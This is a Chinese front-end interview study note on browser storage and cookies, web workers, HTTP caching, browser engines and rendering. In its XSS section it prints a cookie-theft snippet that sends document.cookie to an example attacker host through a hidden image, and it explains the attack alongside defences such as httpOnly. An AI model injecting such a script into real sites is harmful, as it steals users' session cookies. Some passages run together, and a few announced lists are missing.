提供基础用法,基础概念引用 MDN、W3C,基础内容做扩展知识,可应对面试,详细原理及应用需要去官网、GitHub 深入学习。
BOM(browser object model)简称浏览器对象模型,BOM 提供了独立于内容而与浏览器窗口进行交互的对象,BOM 主要用于管理窗口与窗口之间的通讯,其核心对象是 window。BOM 由一系列相关的对象构成,并且每个对象都提供了很多方法与属性,BOM 缺乏标准,JavaScript 语法的标准化组织是 ECMA,DOM 的标准化组织是 W3C。BOM最初是 Netscape 浏览器标准的一部分。
http://www.dreamdu.com/dreamdu.php?id=5&name=dreamdu 返回包括(?)后面的内容 ?id=5&name=dreamduwww.dreamdu.comdreamdu.comhttp://www.dreamdu.com/xhtml/ 返回 /xhtml/http://www.dreamdu.com:8080/xhtml/ 返回 8080http://www.dreamdu.com:8080/xhtml/ 返回(//)前面的内容 http:SessionStorage, LocalStorage, Cookie 这三者都可以被用来在浏览器端存储数据,而且都是字符串类型的键值对。区别在于前两者属于 HTML5 WebStorage,创建它们的目的便于客户端存储数据。而 cookie 是网站为了标示用户身份而储存在用户本地终端上的数据(通常
经过加密)。cookie 数据始终在同源(协议、主机、端口相同)的 http 请求中携带(即使不需要),会在浏览器和服务器间来回传递。
存储大小:
cookie 数据大小不能超过 4 k 。
sessionStorage 和 localStorage 虽然也有存储大小的限制,但比 cookie 大得多,可以达到 5M 或更大。
有期时间:
localStorage 存储持久数据,浏览器关闭后数据不丢失除非主动删除数据。
sessionStorage 数据在页面会话结束时会被清除。页面会话在浏览器打开期间一直保持,并且重新加载或恢复页面仍会保持原来的页面会话。在新标签或窗口打开一个页面时会在顶级浏览上下文中初始化一个新的会话。
cookie 设置的 cookie 过期时间之前一直有效,即使窗口或浏览器关闭。
作用域:
sessionStorage 只在同源的同窗口(或标签页)中共享数据,也就是只在当前会话中共享。
localStorage 在所有同源窗口中都是共享的。
cookie 在所有同源窗口中都是共享的。
综上
上面几种方式都是存储少量数据的时候的存储方式,当我们需要在本地存储大量数据的时候,我们可以使用浏览器的 indexDB 这是浏览器提供的一种本地的数据库存储机制。它不是关系型数据库,它内部采用对象仓库的形式存储数据,它更接近 NoSQL 数据库。
localStorage/sessionStorage api
localStorage.setItem(key, value)localStorage.getItem(key)localStorage.removeItem(key)localStorage.clear()跨站脚本攻击XSS(Cross Site Scripting),恶意攻击者往Web页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。可通过后端在 HTTP 头部配置 Set-Cookie 避免被 XSS 恶意入侵。配置属性如下:
简单的 XSS 获取 Cookie 例子如下:
Cookie 发送给攻击者的站点:
var img = document.createElement('img')
img.src='http://www.xss.com?cookie=' + document.cookie
img.style.display='none'
document.getElementsByTagName('body')[0].appendChild(img)
JS Cookie api
document.cookie=‘_uid=1’const expires = new Date()
expires.setTime(expires.getTime()+30*24*60*60*1000)// 过期时间30天后
document.cookie = `_id=1;expires=${expires.toGMTString()}`
let data = document.cookieconst expires = new Date()
expires.setTime(expires.getTime()-1*24*60*60*1000)
document.cookie = `username=;expires=${expires.toGMTString()}`
请求头: Cookie 字段
document.cookie = 'key=value'document.cookie = 'key=value;expires=expires_time'document.cookie = 'key=value;path=/test', 比如 domain 是 abc.com,path 是/test,那么只有/test 路径下的页面可以读取此 cookie。document.cookie = 'id=1; domain=abc.com',a)设置的 cookie 的 domain 只能为顶级域名或者二级域名或者三级域名本身,不能设置其他二级域名的 cookie,否则 cookie 无法生成。b)顶级域名只能设置 domain 为顶级域名,不能设置为二级域名或者三级域名,否则 cookie 无法生成。c)二级域名能读取设置了 domain 为顶级域名或者自身的 cookie,不能读取其他二级域名 domain 的 cookie。所以要想 cookie 在多个二级域名中共享,需要设置 domain 为顶级域名。顶级域名只能获取到 domain 设置为顶级域名的 cookie,其他 domain 设置为二级域名的无法获取。在 HTML 页面中,如果在执行脚本时,页面的状态是不可相应的,直到脚本执行完成后,页面才变成可相应。web worker 是运行在后台的 js,独立于其他脚本,不会影响页面的性能。并且通过 postMessage 将结果回传到主线程。这样在进行复杂操作的时候,就不会阻塞主线程。但在 worker 内,不能直接操作 DOM 节点,也不能使用window对象的默认方法和属性。
一个 worker 是使用一个构造函数创建的一个对象 (e.g. Worker()) 运行一个命名的 JavaScript 文件 - 这个文件包含将在工作线程中运行的代码; workers 运行在另一个全局上下文中,不同于当前的window. 因此,在 Worker 内通过 window获取全局作用域 (而不是self) 将返回错误。
专用 worker 流程
创建一个 worker 实例,调用 Worker() 的构造器,指定一个脚本的 URI 来执行 worker 线程:
// main.js
if(window.Worker) {const myWorker = new Worker('worker.js')// 通过postMessage() 方法和 onmessage 事件处理函数触发 workers 的方法setInterval(() => {myWorker.postMessage([new Date()])console.log('Message posted to worker')}, 1000)// 错误处理onerror = (evt) => {console.log(evt)}
}
mian.js 中进行 postMessage ,在 worker 中接收到消息后,写一个事件处理函数作为响应
// worker.js
onmessage = (evt) => {var workerResult = 'Result: ' + (evt.data[0])postMessage(workerResult)
}
回到主线程,我们再次使用 onmessage 以响应 worker 回传的消息:
myWorker.onmessage = (evt) => {result = evt.data
}
终止 worker
主线程中调用 terminate 立即结束 worker 通信,在 worker 线程中可直接调用 close() 方法关闭通信。
myWorker.terminate()
更多内容及共享 worker 见 MDN-Worker
XSS
跨站脚本攻击 XSS(Cross Site Scripting)是攻击者通过注入恶意的脚本,在用户浏览网页的时候进行攻击,比如获取 cookie,或者其他用户身份信息,将 XSS 分为:存储型 、反射型 、DOM型XSS 三类。
通过 对cookie 设置 httpOnly 属性,对用户的输入进行检查,进行特殊字符过滤等操作避免 XSS 攻击。
CSRF
跨站点请求伪造 CSRF(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性。攻击者盗用了身份,以自己的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以自己的名义发送邮件、发消息等。
CSRF 攻击流程如下:
通过使用验证码,检查 https 头部的 refer,使用 token 等方式来防止。
浏览器的缓存机制指的是通过在一段时间内保留已接收到的 web 资源的一个副本,如果在资源的有效时间内,发起了对这个资源的再一次请求,那么浏览器会直接使用缓存的副本,而不是向服务器发起请求。使用 web 缓存可以有效地提高页面的打开速度,减少不必要的网络带宽的消耗。
web 资源的缓存策略一般由服务器来指定,可以分为两种,分别是强缓存策略和协商缓存策略。
强缓存
使用强缓存策略时,如果缓存资源有效,则直接使用缓存资源,不必再向服务器发起请求。强缓存策略可以通过两种方式来设置,分别是 http 头信息中的 Expires 属性和 Cache-Control 属性。服务器通过在响应头中添加 Expires 属性,来指定资源的过期时间。在过期时间以内,该资源可以被缓存使用,不必再向服务器发送请求。这个时间是一个绝对时间,它是服务器的时间,因此可能存在这样的问题,就是客户端的时间和服务器端的时间不一致,或者用户可以对客户端时间进行修改的情况,这样就可能会影响缓存命中的结果。Expires 是 http1.0 中的方式,因为它的一些缺点,在 http 1.1 中提出了一个新的头部属性就是 Cache-Control 属性,它提供了对资源的缓存的更精确的控制。它有很多不同的值,如下表所示:
| 值 | 作用 |
|---|---|
| max-age | 指定资源能够被缓存的时间的大小,这是一个相对的时间,它会根据这个时间的大小和资源第一次请求时的时间来计算出资源过期的时间,因此相对于 Expires 来说,这种方式更加有效一些 |
| public | 任何途径的缓存者,可以无条件缓存该资源 |
| private | 规定资源只能被客户端缓存,不能够代理服务器所缓存 |
| no-store | 指定资源不能够被缓存 |
| no-cache | 代表该资源能够被缓存,但是立即失效,每次都需要向服务器发起请求 |
一般来说只需要设置其中一种方式就可以实现强缓存策略,当两种方式一起使用时,Cache-Control 的优先级要高于 Expires 。
协商缓存
使用协商缓存策略时,会先向服务器发送一个请求,如果资源没有发生修改,则返回一个 304 状态,让浏览器使用本地的缓存副本。
如果资源发生了修改,则返回修改后的资源。协商缓存也可以通过两种方式来设置,分别是 http 头信息中的 Etag 和 Last-Modified 属性。
服务器通过在响应头中添加 Last-Modified 属性来指出资源最后一次修改的时间,当浏览器下一次发起请求时,会在请求头中添加一个 If-Modified-Since 的属性,属性值为上一次资源返回时的 Last-Modified 的值。当请求发送到服务器后服务器会通过这个属性来和资源的最后一次的修改时间来进行比较,以此来判断资源是否做了修改。如果资源没有修改,那么返回 304 状态,让客户端使用本地的缓存。如果资源已经被修改了,则返回修改后的资源。使用这种方法有一个缺点,就是 Last-Modified 标注的最后修改时间只能精确到秒级,如果某些文件在 1 秒钟以内,被修改多次的话,那么文件已将改变了但是 Last-Modified 却没有改变,这样会造成缓存命中的不准确。因为 Last-Modified 的这种可能发生的不准确性,http 中提供了另外一种方式,那就是 Etag 属性。服务器在返回资源的时候,在头信息中添加了 Etag 属性,这个属性是资源生成的唯一标识符,当资源发生改变的时候,这个值也会发生改变。在下一次资源请求时,浏览器会在请求头中添加一个 If-None-Match 属性,这个属性的值就是上次返回的资源的 Etag 的值。服务接收到请求后会根据这个值来和资源当前的 Etag 的值来进行比较,以此来判断资源是否发生改变,是否需要返回资源。通过这种方式,比 Last-Modified 的方式更加精确。
当 Last-Modified 和 Etag 属性同时出现的时候,Etag 的优先级更高。使用协商缓存的时候,服务器需要考虑负载平衡的问题,因此多个服务器上资源的 Last-Modified 应该保持一致,因为每个服务器上 Etag 的值都不一样,因此在考虑负载平衡时,最好不要设置 Etag 属性。
强缓存策略和协商缓存策略在缓存命中时都会直接使用本地的缓存副本,区别只在于协商缓存会向服务器发送一次请求。它们缓存不命中时,都会向服务器发送请求来获取资源。在实际的缓存机制中,强缓存策略和协商缓存策略是一起合作使用的。浏览器首先会根据请求的信息判断,强缓存是否命中,如果命中则直接使用资源。如果不命中则根据头信息向服务器发起请求,使用协商缓存,如果协商缓存命中的话,则服务器不返回资源,浏览器直接使用本地资源的副本,如果协商缓存不命中,则浏览器返回最新的资源给浏览器。
浏览器主要分成两部分:渲染引擎和 JS 引擎。渲染引擎的职责就是渲染,即在浏览器窗口中显示所请求的内容。默认情况下,渲染引
擎可以显示 html、xml 文档及图片,它也可以借助插件(一种浏览器扩展)显示其他类型数据,例如使用 PDF 阅读器插件,可以显示 PDF 格式。JS 引擎用于解析和执行 javascript 来实现网页的动态效果。最开始渲染引擎和 JS 引擎并没有区分的很明确,后来 JS 引擎越来越独立,内核就倾向于只指渲染引擎。
浏览器架构基本架构如下:
一些常见的浏览器内核如下表所示:
| 内核 | 描述 |
|---|---|
| Trident | 这种浏览器内核是 IE 浏览器用的内核,因为在早期 IE 占有大量的市场份额,所以这种内核比较流行,以前有很多网页也是根据这个内核的标准来编写的,但是实际上这个内核对真正的网页标准支持不是很好。但是由于 IE 的高市场占有率,微软也很长时间没有更新 Trident 内核,就导致了 Trident 内核和 W3C 标准脱节。还有就是 Trident 内核的大量 Bug 等安全问题没有得到解决,加上一些专家学者公开自己认为 IE 浏览器不安全的观点,使很多用户开始转向其他浏览器。 |
| Gecko | 这是 Firefox 和 Flock 所采用的内核,这个内核的优点就是功能强大、丰富,可以支持很多复杂网页效果和浏览器扩展接口,但是代价是也显而易见就是要消耗很多的资源,比如内存。 |
| Presto | Opera 曾经采用的就是 Presto 内核,Presto 内核被称为公认的浏览网页速度最快的内核,这得益于它在开发时的天生优势,在处理 JS 脚本等脚本语言时,会比其他的内核快 3 倍左右,缺点就是为了达到很快的速度而丢掉了一部分网页兼容性。 |
| Webkit | Webkit 是 Safari 采用的内核,它的优点就是网页浏览速度较快,虽然不及 Presto 但是也胜于 Gecko 和 Trident,缺点是对于网页代码的容错性不高,也就是说对网页代码的兼容性较低,会使一些编写不标准的网页无法正确显示。WebKit 前身是 KDE 小组的 KHTML 引擎,可以说 WebKit 是 KHTML 的一个开源的分支。 |
| Blink | 谷歌在 Chromium Blog 上发表博客,称将与苹果的开源浏览器核心 Webkit 分道扬镳,在 Chromium 项目中研发 Blink 渲染引擎(即浏览器核心),内置于 Chrome 浏览器之中。其实 Blink 引擎就是 Webkit 的一个分支,就像 webkit 是 KHTML 的分支一样。Blink 引擎现在是谷歌公司与 Opera Software 共同研发,上面提到过的,Opera 弃用了自己的 Presto 内核,加入 Google 阵营,跟随谷歌一起研发 Blink。 |
常用浏览器使用的内核如下表:
| 浏览器 | 内核 |
|---|---|
| IE 浏览器内核 | Trident 内核,也是俗称的 IE 内核 |
| Chrome 浏览器内核 | Chromium 内核或 Chrome 内核,以前是 Webkit 内核,现在是 Blink 内核 |
| Firefox 浏览器内核 | Gecko 内核,俗称 Firefox 内核 |
| Safari 浏览器内核 | webkit 内核 |
| Opera 浏览器内核 | 最初是自己的 Presto 内核,后来加入谷歌大军,从 Webkit 又到了 Blink 内核 |
| 360 浏览器、猎豹浏览器内核 | IE + Chrome 双内核 |
| 搜狗、遨游、QQ 浏览器内核 | Trident(兼容模式)+ Webkit(高速模式) |
| 百度浏览器、世界之窗内核 | IE 内核 |
| 2345 浏览器内核 | 好像以前是 IE 内核,现在也是 IE + Chrome 双内核了 |
| UC 浏览器内核 | 这个众口不一,UC 说是他们自己研发的 U3 内核,但好像还是基于 Webkit 和 Trident ,还有说是基于火狐内核 |
浏览器使用流式布局模型 (Flow Based Layout)
更多详细原理见博客 https://blog.fundebug.com/2019/01/03/understand-browser-rendering/
渲染过程中遇到 JavaScript 文件怎么处理?
JavaScript 的加载、解析与执行会阻塞文档的解析,也就是说,在构建 DOM 时,HTML 解析器若遇到了 JavaScript,那么它会暂停文档的解析,将控制权移交给 JavaScript 引擎,等 JavaScript 引擎运行完毕,浏览器再从中断的地方恢复继续解析文档。也就是说,如果你想首屏渲染的越快,就越不应该在首屏就加载 JS 文件,这也是都建议将 script 标签放在 body 标签底部的原因。当然在当下,并不是说 script 标签必须放在底部,因为你可以给 script 标签添加 defer 或者 async 属性。
async 和 defer 的作用是什么?
文档预解析
Webkit 和 Firefox 都做了这个优化,当执行 JavaScript 脚本时,另一个线程解析剩下的文档,并加载后面需要通过网络加载的资源。这种方式可以使资源并行加载从而使整体速度更快。需要注意的是,预解析并不改变 DOM 树,它将这个工作留给主解析过程,自己只解析外部资源的引用,比如外部脚本、样式表及图片。
CSS 如何阻塞文档解析
理论上,既然样式表不改变 DOM 树,也就没有必要停下文档的解析等待它们,然而,存在一个问题,JavaScript 脚本执行时可能在文档的解析过程中请求样式信息,如果样式还没有加载和解析,脚本将得到错误的值,显然这将会导致很多问题。所以如果浏览器尚未完成 CSSOM 的下载和构建,而我们却想在此时运行脚本,那么浏览器将延迟 JavaScript 脚本执行和文档的解析,直至其完成 CSSOM 的下载和构建。也就是说,在这种情况下,浏览器会先下载和构建 CSSOM,然后再执行 JavaScript,最后再继续文档的解析。
渲染页面时常见哪些不良现象?
FOUC:主要指的是样式闪烁的问题,由于浏览器渲染机制(比如 firefox),在 CSS 加载之前,先呈现了 HTML,就会导致展示出无样式内容,然后样式突然呈现的现象。会出现这个问题的原因主要是 css 加载时间过长,或者 css 被放在了文档底部。
白屏:有些浏览器渲染机制(比如 chrome)要先构建 DOM 树和 CSSOM 树,构建完成后再进行渲染,如果 CSS 部分放在 HTML 尾部,由于 CSS 未加载完成,浏览器迟迟未渲染,从而导致白屏;也可能是把 js 文件放在头部,脚本的加载会阻塞后面文档内容的解析,从而页面迟迟未渲染出来,出现白屏问题。
如何优化关键渲染路径?
为尽快完成首次渲染,需要最大限度减小以下三种可变因素:
关键资源是可能阻止网页首次渲染的资源。这些资源越少,浏览器的工作量就越小,对 CPU 以及其他资源的占用也就越少。同样,关键路径长度受所有关键资源与其字节大小之间依赖关系图的影响:某些资源只能在上一资源处理完毕之后才能开始下载,并且资源越大,下载所需的往返次数就越多。最后,浏览器需要下载的关键字节越少,处理内容并让其出现在屏幕上的速度就越快。要减少字节数,我们可以减少资源数(将它们删除或设为非关键资源),此外还要压缩和优化各项资源,确保最大限度减小传送大小。
优化关键渲染路径的常规步骤如下:
详细见 https://developers.google.com/web/fundamentals/performance/critical-rendering-path/optimizing-critical-rendering-path?hl=zh-cn
重绘与回流
重绘(Repaint): 当渲染树中的一些元素需要更新属性,而这些属性只是影响元素的外观、风格,而不会影响布局的操作,比如 background color,我们将这样的操作称为重绘。
回流(Reflow):当渲染树中的一部分(或全部)因为元素的规模尺寸、布局、隐藏等改变而需要重新构建的操作,会影响到布局的操作,这样的操作我们称为回流。
常见引起回流属性和方法:任何会改变元素几何信息(元素的位置和尺寸大小)的操作,都会触发回流。
回流必定会发生重绘,重绘不一定会引发回流。浏览器会维护一个队列,把所有引起回流和重绘的操作放入队列中,如果队列中的任务数量或者时间间隔达到一个阈值的,浏览器就会将队列清空,进行一次批处理,这样可以把多次回流和重绘变成一次。
一些减少回流的方法:
为什么操作 DOM 慢?
一些 DOM 的操作或者属性访问可能会引起页面的回流和重绘,从而引起性能上的消耗。
一句话描述如下:首先通过DNS 解析找到 url 域名的服务器 IP,然后建立TCP 连接,发送 HTTP 请求,服务器处理请求并返回 HTTP 报文,浏览器获取结果并进行解析和渲染页面以及进行缓存,最后连接结束。
实现多个标签页之间的通信,本质上都是通过中介者模式来实现的。因为标签页之间没有办法直接通信,因此我们可以找一个中介者,
让标签页和中介者进行通信,然后让这个中介者来进行消息的转发。